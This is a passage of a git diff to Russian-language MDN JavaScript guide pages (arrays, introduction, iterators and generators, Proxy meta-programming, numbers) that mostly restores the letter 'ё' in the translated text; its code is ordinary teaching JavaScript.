элемента некоторой операцией. Вот наипростейший способ сделать это:</p> +<p>Очень распространённая задача - это перебор всех элементов массива и обработка каждого элемента некоторой операцией. Вот наипростейший способ сделать это:</p> <pre class="brush: js">var colors = ['red', 'green', 'blue']; for (var i = 0; i < colors.length; i++) { @@ -146,7 +146,7 @@ for (var i = 0; i < colors.length; i++) { } </pre> -<p>Если вам заранее известно, что ни один элемент массива не будет расценен как <code>false</code> при приведении к boolean — например, каждый элемент массива является <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> узлом, тогда вы можете блеснуть чуть более эффективным оборотом:</p> +<p>Если вам заранее известно, что ни один элемент массива не будет расценён как <code>false</code> при приведении к boolean — например, каждый элемент массива является <a href="/en-US/docs/DOM" title="en-US/docs/DOM">DOM</a> узлом, тогда вы можете блеснуть чуть более эффективным оборотом:</p> <pre class="brush: js">var divs = document.getElementsByTagName('div'); for (var i = 0, div; div = divs[i]; i++) { @@ -275,7 +275,7 @@ myArray.sort(); // массив отсортирован myArray = [ "Fire", "Rain", "Wind" ] </pre> -<p><code>Метод sort()</code> может принимать в качестве аргумента <code>callback</code>-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трех значений (список вариантов значений смотрите после примера):</p> +<p><code>Метод sort()</code> может принимать в качестве аргумента <code>callback</code>-функцию, которая определяет каким образом сравнивать элементы массива при сортировке. Функция сравнивает два значения, и возвращает одно из трёх значений (список вариантов значений смотрите после примера):</p> <p>Пример. Следующий код сортирует массив по последнему символу в строке:</p> @@ -297,16 +297,16 @@ myArray.sort(sortFn); <pre class="brush: js">var a = ['a', 'b', 'a', 'b', 'a']; console.log(a.indexOf('b')); // выводит 1 -// Попробуем еще раз, начиная с индекса последнего совпадения +// Попробуем ещё раз, начиная с индекса последнего совпадения console.log(a.indexOf('b', 2)); // выводит 3 console.log(a.indexOf('z')); // выводит -1, потому что 'z' не найдено </pre> -<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и <code>indexOf</code>, но поиск ведется в обратном порядке, с конца массива.</p> +<p>{{jsxref("Array.lastIndexOf", "lastIndexOf(searchElement[, fromIndex])")}} тоже самое, что и <code>indexOf</code>, но поиск ведётся в обратном порядке, с конца массива.</p> <pre class="brush: js">var a = ['a', 'b', 'c', 'd', 'a', 'b']; console.log(a.lastIndexOf('b')); // выводит 5 -// Попробуем еще раз, начиная с индекса, предшествующего индексу последнего совпадения +// Попробуем ещё раз, начиная с индекса, предшествующего индексу последнего совпадения console.log(a.lastIndexOf('b', 4)); // выводит 1 console.log(a.lastIndexOf('z')); // выводит -1 </pre> @@ -343,7 +343,7 @@ var a2 = [1, '2', 3]; console.log(a2.every(isNumber)); // выводит false </pre> -<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов <code>callback</code>-функции вернет true хотя бы для одного элемента.</p> +<p>{{jsxref("Array.some", "some(callback[, thisObject])")}} возвращает true, если вызов <code>callback</code>-функции вернёт true хотя бы для одного элемента.</p> <pre class="brush: js">function isNumber(value){ return typeof value == 'number'; @@ -356,7 +356,7 @@ var a3 = ['1', '2', '3']; console.log(a3.some(isNumber)); // выводит false </pre> -<p>Те из методов выше, что принимают <code>callback</code>-функцию в качестве аргумента, известны как методы итерации (<em>iterative methods)</em>, потому что определенным образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый <code>thisObject</code>. Если этот аргумент присутствует, то его значение присваивается ключевому слову <code>this</code> в теле <code>callback</code>-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, <code>this</code> будет ссылаться на глобальный объект ({{domxref("window")}}).</p> +<p>Те из методов выше, что принимают <code>callback</code>-функцию в качестве аргумента, известны как методы итерации (<em>iterative methods)</em>, потому что определённым образом проходятся по всем элементам массива. Каждый из таких методов принимает второй, опциональный элемент, называемый <code>thisObject</code>. Если этот аргумент присутствует, то его значение присваивается ключевому слову <code>this</code> в теле <code>callback</code>-функции. Иначе, как и в любом другом случае вызова функции вне явного контекста, <code>this</code> будет ссылаться на глобальный объект ({{domxref("window")}}).</p> <p>В действительности <code>callback</code>-функция вызывается с тремя аргументами. Первый аргумент - текущий элемент массива, второй - индекс этого элемента, и третий - ссылка на сам массив. Однако, в JavaScript, функции игнорируют любые аргументы, которые не перечислены в списке аргументов. Таким образом, нет ничего страшного в использовании функции с одним аргументом, такой как <code>alert</code>.</p> @@ -367,7 +367,7 @@ var total = a.reduce(function(first, second, index) { return first + second; }, console.log(total) // выводит 60 </pre> -<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и <code>reduce()</code>, но порядок обхода ведется от конца к началу.</p> +<p>{{jsxref("Array.reduceRight", "reduceRight(callback[, initalvalue])")}} работает так же как и <code>reduce()</code>, но порядок обхода ведётся от конца к началу.</p> <p><code>Методы reduce</code> и <code>reduceRight</code> являются наименее очевидными методами объекта Array. Они должны использоваться в алгоритмах, которые рекурсивно совмещают два элемента массива, для сведения всей последовательности к одному значению.</p> @@ -375,7 +375,7 @@ console.log(total) // выводит 60 <p>Массивы могут быть вложенными, то есть массив может содержать массивы в элементах. Используя эту возможность массивов JavaScript, можно построить многомерные массивы.</p> -<p>Следующий код создает двумерный массив:</p> +<p>Следующий код создаёт двумерный массив:</p> <pre class="brush: js">var a = new Array(4); for (i = 0; i < 4; i++) { @@ -386,7 +386,7 @@ for (i = 0; i < 4; i++) { } </pre> -<p>В этом примере создается массив со следующим содержимым:</p> +<p>В этом примере создаётся массив со следующим содержимым:</p> <pre>Ряд 0: [0,0] [0,1] [0,2] [0,3] Ряд 1: [1,0] [1,1] [1,2] [1,3] @@ -428,11 +428,11 @@ for (i = 0; i < 4; i++) { <h3 id="ArrayBuffer">ArrayBuffer</h3> -<p>Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определенном формате, и даст доступ на запись и чтение его содержимого.</p> +<p>Объект {{jsxref("ArrayBuffer")}} это стандартный набор бинарных данных с фиксированной длиной. Вы не можете манипулировать содержимым <code>ArrayBuffer</code> напрямую. Вместо этого необходимо создать типизированное представление {{jsxref("DataView")}}, которое будет отображать буфер в определённом формате, и даст доступ на запись и чтение его содержимого.</p> <h3 id="Типизированные_представления">Типизированные представления</h3> -<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространенных числовых форматах, таких как <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/en-US/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p> +<p>Название типизированного представления массива говорит само за себя. Оно представляет массив в распространённых числовых форматах, таких как <code>Int8</code>, <code>Uint32</code>, <code>Float64</code> и так далее. Среди прочих существует специальное представление <code>Uint8ClampedArray</code>. Оно ограничивает значения интервалом от 0 до 255. Это полезно, например, при <a href="/en-US/docs/Web/API/ImageData">Обработке данных изображения в Canvas</a>.</p> <p>{{page("en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray", "TypedArray_objects")}}</p> diff --git a/files/ru/web/javascript/guide/introduction/index.html b/files/ru/web/javascript/guide/introduction/index.html index 07c31a7a05..825d8cf2d6 100644 --- a/files/ru/web/javascript/guide/introduction/index.html +++ b/files/ru/web/javascript/guide/introduction/index.html @@ -21,7 +21,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <ul> <li>Общее понимание Internet и World Wide Web ({{Glossary("WWW")}}).</li> <li>Хорошее знание HyperText Markup Language ({{Glossary("HTML")}}).</li> - <li>Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведенными на странице по <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript">JavaScript</a>.</li> + <li>Некоторый опыт программирования. Если вы являетесь новичком в программировании, то ознакомьтесь с руководствами, приведёнными на странице по <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript">JavaScript</a>.</li> </ul> <h2 id="Где_можно_найти_информацию_о_JavaScript">Где можно найти информацию о JavaScript?</h2> @@ -40,7 +40,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>JavaScript — это кросс-платформенный, объектно-ориентированный скриптовый язык, являющийся небольшим и легковесным. Внутри среды исполнения JavaScript может быть связан с объектами данной среды и предоставлять программный контроль над ними.</p> -<p>JavaScript включает стандартную библиотеку объектов, например, <code>Array</code>, <code>Date</code> и <code>Math</code>, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путем добавления в него новых объектов, например:</p> +<p>JavaScript включает стандартную библиотеку объектов, например, <code>Array</code>, <code>Date</code> и <code>Math</code>, а также базовый набор языковых элементов, например, операторы и управляющие конструкции. Ядро JavaScript может быть расширено для различных целей путём добавления в него новых объектов, например:</p> <ul> <li>JavaScript на стороне клиента расширяет ядро языка, предоставляя объекты для контроля браузера и его Document Object Model (DOM). Например, клиентские расширения позволяют приложению размещать элементы в форме HTML и обрабатывать пользовательские события, такие как щелчок мыши, ввод данных в форму и навигация по страницам.</li> @@ -53,7 +53,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>В отличие от системы скомпилированных классов Java, построенной на объявлениях, JavaScript поддерживает систему исполнения, основанную на небольшом числе типов данных, представляющих числовые, логические и строковые значения. JavaScript имеет объектную модель на базе прототипов вместо более общей модели на базе классов. Модель объектов на базе прототипов предоставляет динамическое наследование, т.е. то, что наследуется, может отличаться для отдельных объектов. JavaScript также поддерживает функции без каких-либо специальных декларативных требований. Функции могут быть свойствами объектов, выполняться как свободно-типизированные методы.</p> -<p>По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищенными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.</p> +<p>По сравнению с Java, JavaScript является языком с очень свободной формой. Вам не надо объявлять переменные, классы и методы. Вам не надо беспокоиться о том, являются ли методы публичными (public), приватными (private) или защищёнными (protected), а также вам не надо реализовывать интерфейсы. Переменные, параметры и возвращаемые функциями типы не являются явно типизированными.</p> <p>Java — это язык программирования, основанный на классах и предназначенный для быстрого выполнения и безопасности типов. Безопасность типов означает, например, что вы не можете привести тип integer к типу object reference или получить доступ к приватной памяти, изменяя байт-код Java. Ориентированная на классы модель Java означает, что программы состоят исключительно из классов и их методов. Наследование классов и строгая типизация в Java обычно требуют тесно связанные иерархии объектов. Эти требования делают программирование на Java более комплексным, чем программирование на JavaScript.</p> @@ -77,8 +77,8 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <td>Типы данных переменных должны быть объявлены (статическая типизация).</td> </tr> <tr> - <td>Не может автоматически записывать на жесткий диск.</td> - <td><span style="background-color: rgba(212, 221, 228, 0.14902);">Может автоматически записывать на жесткий диск.</span></td> + <td>Не может автоматически записывать на жёсткий диск.</td> + <td><span style="background-color: rgba(212, 221, 228, 0.14902);">Может автоматически записывать на жёсткий диск.</span></td> </tr> </tbody> </table> @@ -89,7 +89,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>JavaScript стандартизирован европейской ассоциацией <a href="http://www.ecma-international.org/">Ecma International</a>, деятельность которой посвящена стандартизации информационных и коммуникационных систем (изначально ECMA являлся акронимом European Computer Manufacturers Association). Эта стандартизированная версия JavaScript, называемая ECMAScript, работает одинаково во всех приложениях, поддерживающих стандарт. Компании могут использовать открытый стандарт языка, чтобы разработать собственную реализацию JavaScript. Стандарт ECMAScript задокументирован в спецификации ECMA-262. Чтобы узнать больше информации о разных версиях JavaScript и ECMAScript, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/New_in_JavaScript">Что нового в JavaScript</a>.</p> -<p>Стандарт ECMA-262 также утвержден <a href="http://www.iso.org/iso/home.html">ISO</a> (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">сайте Ecma International</a>. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/JavaScript_technologies_overview">Обзор JavaScript</a>.</p> +<p>Стандарт ECMA-262 также утверждён <a href="http://www.iso.org/iso/home.html">ISO</a> (International Organization for Standardization) как ISO-16262. Вы можете найти спецификацию на <a href="http://www.ecma-international.org/publications/standards/Ecma-262.htm">сайте Ecma International</a>. Спецификация ECMAScript не описывает Document Object Model (DOM), которая стандартизирована <a href="http://www.w3.org/">World Wide Web Consortium (W3C)</a>. DOM определяет способ для доступа к объектам HTML документа из вашего скрипта. Чтобы получить более точное представление о различных технологиях, используемых при программировании на JavaScript, прочитайте <a href="https://developer.mozilla.org/ru/docs/Web/JavaScript/JavaScript_technologies_overview">Обзор JavaScript</a>.</p> <h3 id="Документация_JavaScript_против_спецификации_ECMAScript">Документация JavaScript против спецификации ECMAScript</h3> @@ -97,7 +97,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>Документ ECMAScript не предназначен для помощи программистам в создании скриптов; чтобы получить информацию о том, как писать скрипты, используйте документацию JavaScript.</p> -<p>Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остается таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.</p> +<p>Спецификация ECMAScript использует терминологию и синтаксис, которые могут быть незнакомы JavaScript-программистам. Хотя описание языка может отличаться в ECMAScript, но сам язык остаётся таким же. JavaScript поддерживает всю функциональность, описанную в спецификации ECMAScript.</p> <p>Документация JavaScript описывает аспекты языка, являющиеся подходящими для JavaScript-программиста.</p> @@ -128,7 +128,7 @@ original_slug: Web/JavaScript/Guide/Введение_в_JavaScript <p>Web Console отлично подходит для выполнения одиночных строк JavaScript, но хотя вы можете выполнить и несколько строк, это не очень удобно, к тому же вы не можете сохранить ваш код, используя Web Console. Поэтому для более комплексных примеров <a href="https://developer.mozilla.org/ru/docs/Tools/%D0%A7%D0%B5%D1%80%D0%BD%D0%BE%D0%B2%D0%B8%D0%BA">Scratchpad</a> является более подходящим инструментом.</p> -<p>Чтобы открыть Scratchpad(<kbd>Shift</kbd>+<kbd>F4</kbd>), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жесткий диск, а потом загружать их.</p> +<p>Чтобы открыть Scratchpad(<kbd>Shift</kbd>+<kbd>F4</kbd>), выберите "Scratchpad" из меню "Web Developer", которое находится под меню "Tools" в Firefox. Блокнот будет открыт в отдельном окне, вы можете использовать его для создания и выполнения JavaScript в браузере. Вы также можете сохранять ваши скрипты на жёсткий диск, а потом загружать их.</p> <p>Если вы выберете "Display", то код в вашем блокноте будет выполнен в браузере, а результат вставлен обратно в блокнот как комментарий:</p> diff --git a/files/ru/web/javascript/guide/iterators_and_generators/index.html b/files/ru/web/javascript/guide/iterators_and_generators/index.html index ea05bf2965..b447156ea8 100644 --- a/files/ru/web/javascript/guide/iterators_and_generators/index.html +++ b/files/ru/web/javascript/guide/iterators_and_generators/index.html @@ -9,7 +9,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators --- <div>{{jsSidebar("JavaScript Guide")}} {{PreviousNext("Web/JavaScript/Guide/Details_of_the_Object_Model", "Web/JavaScript/Guide/Meta_programming")}}</div> -<p class="summary">Обработка каждого элемента коллекции является весьма распространенной операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for">for</a></code> до <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/map">map()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/filter">filter()</a></code> и <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions" title="en/JavaScript/Guide/Predefined Core Objects#Array comprehensions">array comprehensions</a>. Итераторы и генераторы внедряют концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="en/Core_JavaScript_1.5_Reference/Statements/for...in">for...of</a></code> циклов.</p> +<p class="summary">Обработка каждого элемента коллекции является весьма распространённой операцией. JavaScript предоставляет несколько способов перебора коллекции, от простого цикла <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for" title="en/Core_JavaScript_1.5_Reference/Statements/for">for</a></code> до <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/map" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/map">map()</a></code>, <code><a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/filter" title="en/Core_JavaScript_1.5_Reference/Global_Objects/Array/filter">filter()</a></code> и <a href="/en-US/docs/Web/JavaScript/Reference/Operators/Array_comprehensions" title="en/JavaScript/Guide/Predefined Core Objects#Array comprehensions">array comprehensions</a>. Итераторы и генераторы внедряют концепцию перебора непосредственно в ядро языка и обеспечивают механизм настройки поведения <code><a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="en/Core_JavaScript_1.5_Reference/Statements/for...in">for...of</a></code> циклов.</p> <p>Подробнее см. также:</p> @@ -23,7 +23,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators <h2 id="Итераторы">Итераторы</h2> -<p>Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая свое текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.</p> +<p>Объект является итератором, если он умеет обращаться к элементам коллекции по одному за раз, при этом отслеживая своё текущее положение внутри этой последовательности. В JavaScript итератор - это объект, который предоставляет метод next(), возвращающий следующий элемент последовательности. Этот метод возвращает объект с двумя свойствами: done и value.</p> <p>После создания, объект-итератор может быть явно использован, с помощью вызовов метода next().</p> @@ -39,7 +39,7 @@ translation_of: Web/JavaScript/Guide/Iterators_and_Generators } }</pre> -<p>После инициализации, метод next() может быть вызван для поочередного доступа к парам ключ-значение в объекте:</p> +<p>После инициализации, метод next() может быть вызван для поочерёдного доступа к парам ключ-значение в объекте:</p> <pre class="brush: js">var it = makeIterator(['yo', 'ya']); console.log(it.next().value); // 'yo' @@ -48,7 +48,7 @@ console.log(it.next().done); // true</pre> <h2 id="Генераторы">Генераторы</h2> -<p>В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьезное внимание поддержке внутреннего состояния. <strong>{{jsxref("Global_Objects/Generator","Генераторы","","true")}}</strong> предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.</p> +<p>В то время как пользовательские итераторы могут быть весьма полезны, при их программировании требуется уделять серьёзное внимание поддержке внутреннего состояния. <strong>{{jsxref("Global_Objects/Generator","Генераторы","","true")}}</strong> предоставляют мощную альтернативу: они позволяют определить алгоритм перебора, написав единственную функцию, которая умеет поддерживать собственное состояние.</p> <p>Генераторы - это специальный тип функции, который работает как фабрика итераторов. Функция становится генератором, если содержит один или более {{jsxref("Operators/yield","yield")}} операторов и использует {{jsxref("Statements/function*","function*")}} синтаксис.</p> @@ -67,7 +67,7 @@ console.log(it.next().value); // 2 <h2 id="Итерируемые_объекты">Итерируемые объекты</h2> -<p>Объект является итерируемым, если в нем определен способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.</p> +<p>Объект является итерируемым, если в нем определён способ перебора значений, то есть, например, как значения перебираются в конструкции {{jsxref("Statements/for...of", "for..of")}}. Некоторые встроенные типы, такие как {{jsxref("Array")}} или {{jsxref("Map")}}, по умолчанию являются итерируемыми, в то время как другие типы, как, например, {{jsxref("Object")}}, таковыми не являются.</p> <p>Чтобы быть итерируемым, объект обязан реализовать метод <strong>@@iterator</strong>, что означает, что он (или один из объектов выше по <a href="/en-US/docs/Web/JavaScript/Guide/Inheritance_and_the_prototype_chain">цепочке прототипов</a>) обязан иметь свойство с именем {{jsxref("Symbol.iterator")}}:</p> @@ -152,7 +152,7 @@ console.log(sequence.next().value); // 3</pre> <p>Можно заставить генератор выбросить исключение, вызвав его метод {{jsxref("Global_Objects/Generator/throw","throw()")}} и передав в качестве параметра значение исключения, которое должно быть выброшено. Это исключение будет выброшено из текущего приостановленного контекста генератора так, будто текущий приостановленный <code>yield</code> оператор являлся <code>throw</code> оператором.</p> -<p>Если <code>yield</code> оператор не встречается во время обработки выброшенного исключения, то исключение передается выше через вызов <code>throw()</code>, и результатом последующих вызовов <code>next()</code> будет свойство <code>done</code> равное <code>true</code>.</p> +<p>Если <code>yield</code> оператор не встречается во время обработки выброшенного исключения, то исключение передаётся выше через вызов <code>throw()</code>, и результатом последующих вызовов <code>next()</code> будет свойство <code>done</code> равное <code>true</code>.</p> <p>У генераторов есть метод {{jsxref("Global_Objects/Generator/return","return(value)")}}, который возвращает заданное значение и останавливает работу генератора.</p> diff --git a/files/ru/web/javascript/guide/meta_programming/index.html b/files/ru/web/javascript/guide/meta_programming/index.html index 49b3657c4c..d1d84977b8 100644 --- a/files/ru/web/javascript/guide/meta_programming/index.html +++ b/files/ru/web/javascript/guide/meta_programming/index.html @@ -17,7 +17,7 @@ translation_of: Web/JavaScript/Guide/Meta_programming <h2 id="Объекты_Proxy">Объекты Proxy</h2> -<p>Введенный в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определенных операций. Например, получение свойства объекта:</p> +<p>Введённый в ECMAScript 6, объект {{jsxref("Proxy")}} позволяет перехватить и определить пользовательское поведение для определённых операций. Например, получение свойства объекта:</p> <pre class="brush: js">var handler = { get: function(target, name) { @@ -28,7 +28,7 @@ p.a = 1; console.log(p.a, p.b); // 1, 42 </pre> -<p>Объект <code>Proxy</code> определяет <em>target</em> (в данном случае новый пустой объект) и <em>handler</em> - объект в котором реализована особая <em>функция-ловушка</em> <code>get</code>. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернет не <code>undefined,</code> а числовое значение 42.</p> +<p>Объект <code>Proxy</code> определяет <em>target</em> (в данном случае новый пустой объект) и <em>handler</em> - объект в котором реализована особая <em>функция-ловушка</em> <code>get</code>. "Проксированный" таким образом объект, при доступе к его несуществующему свойству вернёт не <code>undefined,</code> а числовое значение 42.</p> <p>Дополнительные примеры доступны в справочнике {{jsxref("Proxy")}}.</p> @@ -38,7 +38,7 @@ console.log(p.a, p.b); // 1, 42 <dl> <dt>{{jsxref("Global_Objects/Proxy/handler","handler","","true")}} (обработчик)</dt> - <dd>Объект - обертка, содержащий в себе функции-ловушки.</dd> + <dd>Объект - обёртка, содержащий в себе функции-ловушки.</dd> <dt>ловушки (traps)</dt> <dd>Методы, реализующие доступ к свойствам. В своей концепции они аналогичны методам перехвата(hooking) в операционных системах.</dd> <dt>цель (target)</dt> @@ -103,7 +103,7 @@ console.log(p.a, p.b); // 1, 42 <li>Свойство не может быть описано как несуществующее, если оно существует как собственное свойство целевого объекта <code>target</code> и <code>target</code> не расширяем.</li> <li>Свойство не может быть описано как существующее, если оно не существует как собственное свойство целевого объекта <code>target</code> и <code>target</code> не расширяем.</li> <li>Свойство не может быть описано как неизменяемое, если оно не существует как собственное свойство целевого объекта <code>target</code> или если оно существует и является изменяемым, собственным свойством целевого объекта <code>target</code>.</li> - <li>Значение возвращенное методом <code>Object.getOwnPropertyDescriptor(target)</code> может быть применено к целевому объекту через метод <code>Object.defineProperty и э</code>то не вызовет ошибки.</li> + <li>Значение возвращённое методом <code>Object.getOwnPropertyDescriptor(target)</code> может быть применено к целевому объекту через метод <code>Object.defineProperty и э</code>то не вызовет ошибки.</li> </ul> </td> </tr> @@ -117,7 +117,7 @@ console.log(p.a, p.b); // 1, 42 <li>Нельзя добавить новое конфигурируемое свойство, или преобразовать существующее свойство в конфигурируемое, если оно не существует как собственное свойство целевого объекта или не является конфигурируемым.</li> <li>Свойство не может быть неконфигурируемым, если целевой объект имеет соответствующее собственное, конфигурируемое свойство.</li> <li>Если объект имеет свойство соответствующее создаваемому свойству, то <code>Object.defineProperty(target, prop, descriptor)</code> не вызовет ошибки.</li> - <li>В строгом режиме ("use strict";), если обработчик <code>defineProperty</code> вернет <code>false</code>, это вызовет ошибку {{jsxref("TypeError")}}.</li> + <li>В строгом режиме ("use strict";), если обработчик <code>defineProperty</code> вернёт <code>false</code>, это вызовет ошибку {{jsxref("TypeError")}}.</li> </ul> </td> </tr> @@ -141,7 +141,7 @@ console.log(p.a, p.b); // 1, 42 <td> <ul> <li>Значение, возвращаемое для свойства, должно равняться значению соответствующего свойства целевого объекта, если это свойство является доступным только для чтения, неконфигурируемым.</li> - <li>Значение, возвращаемое для свойства, должно равняться <code>undefined,</code> если соответствующее свойство целевого объекта является неконфигурируемым и обернуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li> + <li>Значение, возвращаемое для свойства, должно равняться <code>undefined,</code> если соответствующее свойство целевого объекта является неконфигурируемым и обёрнуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li> </ul> </td> </tr> @@ -153,7 +153,7 @@ console.log(p.a, p.b); // 1, 42 <td> <ul> <li>Нельзя изменить значение свойства на значение, отличное от значения соответствующего свойства целевого объекта, если это свойство целевого объекта доступно только для чтения, и является неконфигурируемым.</li> - <li>Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обернуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li> + <li>Нельзя установить значение свойства, если соответствующее свойство целевого объекта является неконфигурируемым, и обёрнуто в геттер и сеттер, где сеттер равен <code>undefined</code>.</li> <li>В строгом режиме, возвращение <code>false</code> из обработчика <code>set</code> вызовет ошибку {{jsxref("TypeError")}}.</li> </ul> </td> @@ -203,7 +203,7 @@ console.log(p.a, p.b); // 1, 42 <h2 id="Отзываемый_Proxy">Отзываемый <code>Proxy</code></h2> -<p>Метод {{jsxref("Proxy.revocable()")}} создает отзываемый объект <code>Proxy</code>. Такой прокси объект может быть отозван функцией <code>revoke</code>, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.</p> +<p>Метод {{jsxref("Proxy.revocable()")}} создаёт отзываемый объект <code>Proxy</code>. Такой прокси объект может быть отозван функцией <code>revoke</code>, которая отключает все ловушки-обработчики. После этого любые операции над прокси объектом вызовут ошибку {{jsxref("TypeError")}}.</p> <pre class="brush: js">var revocable = Proxy.revocable({}, { get: function(target, name) { @@ -233,7 +233,7 @@ typeof proxy; // "object", для метода typeof нет лову <h3 id="Улучшенная_функция_apply">Улучшенная функция <code>apply</code></h3> -<p>В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определенном контексте (с определенным <code>this)</code> и с параметрами, заданными в виде массива (или <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массива-подобного объекта</a>).</p> +<p>В ES5 обычно используется метод {{jsxref("Function.prototype.apply()")}} для вызова функции в определённом контексте (с определённым <code>this)</code> и с параметрами, заданными в виде массива (или <a href="/ru/docs/Web/JavaScript/Guide/Indexed_collections#Working_with_array-like_objects">массива-подобного объекта</a>).</p> <pre class="brush: js">Function.prototype.apply.call(Math.floor, undefined, [1.75]);</pre> diff --git a/files/ru/web/javascript/guide/numbers_and_dates/index.html b/files/ru/web/javascript/guide/numbers_and_dates/index.html index 09a2f8ee9e..038b00c440 100644 --- a/files/ru/web/javascript/guide/numbers_and_dates/index.html +++ b/files/ru/web/javascript/guide/numbers_and_dates/index.html @@ -24,7 +24,7 @@ translation_of: Web/JavaScript/Guide/Numbers_and_dates 0777 // обрабатывается как восьмеричное в нестрогой форме (511 в десятичной) </pre> -<p>Обратите внимание, что десятичные литералы могут начинаться с нуля (<code>0</code>) за которым следует другая десятичная цифра, но если следующая за нулем цифра меньше 8, то число обрабатывается как восьмеричное.</p> +<p>Обратите внимание, что десятичные литералы могут начинаться с нуля (<code>0</code>) за которым следует другая десятичная цифра, но если следующая за нулём цифра меньше 8, то число обрабатывается как восьмеричное.</p> <h3 id="Двоичные_числа">Двоичные числа</h3> @@ -62,9 +62,9 @@ var negInfiniteNum = Number.NEGATIVE_INFINITY; var notANum = Number.NaN; </pre> -<p>Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределенного глобального объекта <code>Number</code>. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. </p> +<p>Как видно из примера выше, для получения перечисленных значений, нужно обращаться к свойствам предопределённого глобального объекта <code>Number</code>. Тогда как у экземпляра этого объекта, созданного вами при работе программы, этих свойств не будет. </p> -<p>В следующей таблице приведен список свойств объекта <code>Number</code>.</p> +<p>В следующей таблице приведён список свойств объекта <code>Number</code>.</p> <table class="standard-table"> 